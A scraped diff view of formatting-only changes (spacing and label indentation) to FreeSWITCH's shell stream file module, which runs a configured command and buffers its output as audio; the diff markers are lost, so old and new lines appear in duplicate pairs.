switch_mutex_init(&context->mutex, SWITCH_MUTEX_NESTED, handle->memory_pool);
switch_threadattr_create(&thd_attr, handle->memory_pool);
switch_threadattr_detach_set(thd_attr, 1);
switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
switch_thread_create(&thread, thd_attr, buffer_thread_run, context, handle->memory_pool);
context->running = 2;
while(context->running == 2) {
while (context->running == 2) {
switch_cond_next();
}
goto end;
} else { /* child */
} else { /* child */
close(context->fds[0]);
dup2(context->fds[1], STDOUT_FILENO);
switch_system(context->command, SWITCH_TRUE);
@@ -146,22 +146,22 @@ static switch_status_t shell_stream_file_open(switch_file_handle_t *handle, cons
}
}
error:
error:
close(context->fds[0]);
close(context->fds[1]);
status = SWITCH_STATUS_FALSE;
end:
end:
return status;
}
static switch_status_t shell_stream_file_close(switch_file_handle_t *handle)
{
shell_stream_context_t *context = handle->private_info;
context->running = 0;
if (context->fds[0] > -1) {
@@ -184,10 +184,10 @@ static switch_status_t shell_stream_file_read(switch_file_handle_t *handle, void
switch_status_t status = SWITCH_STATUS_SUCCESS;
switch_size_t rlen = *len * 2;
while(context->running && switch_buffer_inuse(context->audio_buffer) < rlen) {
while (context->running && switch_buffer_inuse(context->audio_buffer) < rlen) {
switch_cond_next();
}
switch_mutex_lock(context->mutex);
*len = switch_buffer_read(context->audio_buffer, data, rlen) / 2;
switch_mutex_unlock(context->mutex);
Loaded 100 of 229 files, more files were not shown because too many files have changed in this diff. Show more